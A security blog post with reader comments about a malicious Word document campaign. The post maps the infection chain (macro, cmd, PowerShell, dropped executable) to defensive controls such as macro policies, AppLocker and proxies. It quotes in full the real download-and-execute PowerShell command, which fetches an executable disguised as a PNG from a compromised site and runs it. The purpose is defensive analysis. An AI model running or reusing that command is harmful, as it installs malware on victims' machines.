Mapping Attack Methodology to Controls

Published: 2016-11-23
Last Updated: 2016-11-23 03:56:05 UTC
by Tom Webb (Version: 1)
10 comment(s)

Recently we’ve seen lots of malicious documents make it through our first protection layers. (https://www.virustotal.com/en/file/79ff976c5ca6025f3bb90ddfa7298286217c21309c897e6b530603d48dea0369/analysis/) . In the last week, these emails have a word document that spawns a command shell that kicks off a PowerShell script.  When working incidents, it is important to map out the attacker lifecycle to determine where to improve your defenses. 

In this case the execution chain looks like this: Email ->Word Doc -> Cmd.exe ->powershell ->Malware.exe


When the user clicks on the attachment it runs a macro that then kicks off a command shell that runs the following:
cmd /c PowerShell (New-Object System.Net.WebClient).DownloadFile('http://www.tessaban.com/images/images/gfjfgklmslifdsfnln.png','%TMP%\scsnsys.exe');Start-process '%TMP%\scsnsys.exe';


When looking at how PowerShell makes the web connection, nothing special happens on the network. Powershell doesn’t have a user-agent string, so this makes it hard to profile on something simple.


GET /images/images/gfjfgklmslifdsfnln.pngHTTP/1.1
Host: www.tessaban.com
Connection: Keep-Alive

 

So let's map out controls we can put in place to prevent the attack lifecycle.

  1. Stopping delivery of the message (In order of $ and Complexity)
    1. Hold attachment for X number of hours so AV my catch up
    2. Convert file to another type (e.g. Word -> PDF)
    3. Mangle the macro in the file before delivery
    4. Sandbox the attachment before delivery
    5. Preventing Macros from running
  2. Disable macros via GPO
  3. Block users from Cmd.exe
    1. Use an Applocker policy to block cmd.exe
  4. Prevent Powershell from running unsigned scripts
    1. Lots of ways to bypass
  5. Prevent download of malware 
    1. Use sinkhole/proxy ect.
  6. Prevent malware from running in the drop location ( C:\Users\me\AppData\Local\Temp\scsnsys.exe)
    1. Applocker 


Now by looking at this list you can determine what make sense in your environment due to technical or political issues.  This exercise will have you prepared to answer the questions, how can we prevent this in the future.  I also like to add a simple level of effort required to implement these changes (e.g. ~10hrs) and costs (e.g. $$$). 

--

Tom Webb

@twsecblog

10 comment(s)

Comments

We had come across such samples when we were designing policies in Antivirus for protection against ransomware. We followed below mentioned approach and it appears to be getting the job done.

1. Application control policy: Don't allow MS office executable to drop .exe, .vbs, .vbe, .wsf and .js files.
2. Firewall policy: Don't allow MS office executable, wscript.exe, cscript.exe, mshta.exe and powershell.exe to communicate with external internet addresses.
I see that the image had ,'%TMP%\scsnsys.exe');Start-process '%TMP%\scsnsys.exe'; in it.

Is it obvious that the PNG has code in it when looking at it in Wireshark? (Can you please post what the HEX would look like in Wireshark?)

If it is not visible in Wireshark or Fiddler (to decode it), how do we find it?

Thank you.
"Powershell doesn’t have a user-agent string, so this makes it hard to profile on something simple."
Doesn't this fact actually make it easier to profile for it? Any legitimate browser or download tool HAS a valid agent string..
It depends on how tight your control on your environment is, but lots of things make calls for update and such without one. If you can use this IOC thats awesome.
The file was a executable with a MZ header, it was just named PNG on the file server. It could be the compromised website didn't allow the attacker to upload exe files, or he was just trying to hide in general.
Thanks. I figured there would be the magic file number in the HEX. I always check this to ensure it is what it claims to be.

One of my co-workers thinks that you can modify the MZ in the header, so it looks like something other than an executable, and still run the .exe. I think this would not work.

Thoughts?
[quote]
2. Disable macros via GPO
3. Block users from Cmd.exe
1. Use an Applocker policy to block cmd.exe
...
6. Prevent malware from running in the drop location ( C:\Users\me\AppData\Local\Temp\scsnsys.exe)
1. Applocker
[/quote]

Ad 2.
a) the default setting of Microsoft Office already disables macros from untrusted sources.
b) not all Windows users have an AD to deploy GPOs; every Windows user but can set the respective registry entries.

Ad 3.
a) AppLocker alias SRPv2 is available in FEW editions of Windows only; SAFER alias SRPv1 is but available in ALL editions.
b) you actually don't need either: just set
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System]
"DisableCMD"=dword:01 ; see MSKB 2704811

Ad 6.
a) use SAFER instead of AppLocker, and deny execution in %USERPROFILE% and below, not just %TEMP%.
b) add the NTFS ACE "(D;OIIO;WP;;;WD)" meaning "deny execution of files in this directory and its subdirectories" to every user profile, including %ALLUSERSPROFILE%, %PUBLIC% and %ProgramData%.
"Application control policy: Don't allow MS office executable to drop .exe, .vbs, .vbe, .wsf and .js files."

Can you implement this policy using AppLocker (Executable Rules)? Can you point to any references to help write this rule?
[quote=comment#38379]"Application control policy: Don't allow MS office executable to drop .exe, .vbs, .vbe, .wsf and .js files."

Can you implement this policy using AppLocker (Executable Rules)? [/quote]
NO!
#1: AppLocker controls execution of files, not their creation.
See https://technet.microsoft.com/en-us/library/dd759068.aspx for the rule conditions supported by AppLocker.
#2: File creation is controlled via NTFS access control lists.
This is but independent from the writing application, the files name and its content.

If you want to implement such a policy: write your own AppCert.dll (available since Windows 2000). These export a single function
NTSTATUS NTAPI CreateProcessNotify(LPCWSTR, DWORD)
which is called whenever a process wants to create a new process.
The first argument holds the pathname of the new process, the second argument one of the reasons QUERY = 1L (before process creation), ALLOWED = 2L or DENIED = 3L (in response to the result from QUERY).
Upon call with reason QUERY = 1L the function returns STATUS_SUCCESS = 0L to allow process creation or any NTSTATUS failure (like STATUS_UNSUCCESSFUL = 0xC0000001L or STATUS_ACCESS_DENIED = 0xC0000022L) to deny process creation.

Register your DLL(s) in the following key:
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\AppCertDlls]
"AppCert.Dll"="<fullpath>\AppCert.Dll"
...

These DLL(s) are loaded into a user process at the first call of one of the CreateProcess*() functions and their counterparts in NTDLL, and are all called in succession. Only if all of them return STATUS_SUCCESS execution is allowed.
1. Application control policy: Don't allow MS office executable to drop .exe, .vbs, .vbe, .wsf and .js files.

>>> How to achieve this .I know that you can stop a process from execution but how to stop it from dropping such files .Can you please share sample screenshot.

2. Firewall policy: Don't allow MS office executable, wscript.exe, cscript.exe, mshta.exe and powershell.exe to communicate with external internet addresses.

>>> How to achieve this .Can you please share sample screenshot.

Diary Archives